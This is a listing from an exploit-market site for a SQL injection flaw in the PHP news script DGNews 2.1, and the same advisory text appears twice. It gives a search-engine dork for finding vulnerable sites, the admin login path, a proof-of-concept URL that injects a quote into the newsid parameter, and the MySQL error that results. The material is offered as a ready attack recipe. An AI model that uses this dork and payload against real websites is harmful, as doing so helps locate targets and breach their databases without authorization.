[ authorization ] [ registration ] [ restore account ]
Contact us
You can contact us by:
0day Today Exploits Market and 0day Exploits Database

DGNews 2.1 SQL Injection Vulnerability

Author
kalashnikov
Risk
[
Security Risk Unsored
]
0day-ID
0day-ID-15262
Category
web applications
Date add
30-12-2010
Platform
php
#Remote SQL Injection Vulnerability
#name      : DGNews v 2.1
#Author    : kalashnikov
#dork      : inurl:news.php?go=fullnews&newsid
#admincp   : admin/login.php
// the user is "admin"===========MYSQL INJ=======
http://localhost/pach/news.php?go=fullnews&newsid=1'
===========================
Warning: mysql_num_rows(): /home/user/public_html/news.php on line 227===========================
# Site      : http://vbspiders.com
# Group     : KaLa$nikoV t34m
# Date      : {26-12-2010}
# Software  : DGNews v 2.1
# Greetz    : just me :L
# team      : VoLc4n0 --=-- stone love --=-- fla$h
 
#Remote SQL Injection Vulnerability
#name      : DGNews v 2.1#
Author    : kalashnikov
#dork      : inurl:news.php?go=fullnews&newsid
#admincp   : admin/login.php
// the user is "admin"===========MYSQL INJ=======
http://localhost/pach/news.php?go=fullnews&newsid=1'
===========================
Warning: mysql_num_rows(): /home/user/public_html/news.php on line 227
===========================
# Site      : http://vbspiders.com
# Group     : KaLa$nikoV t34m
# Date      : {26-12-2010}# Software  : DGNews v 2.1# Greetz    : just me :L
# team      : VoLc4n0 --=-- stone love --=-- fla$h



#  0day.today [2024-09-28]  #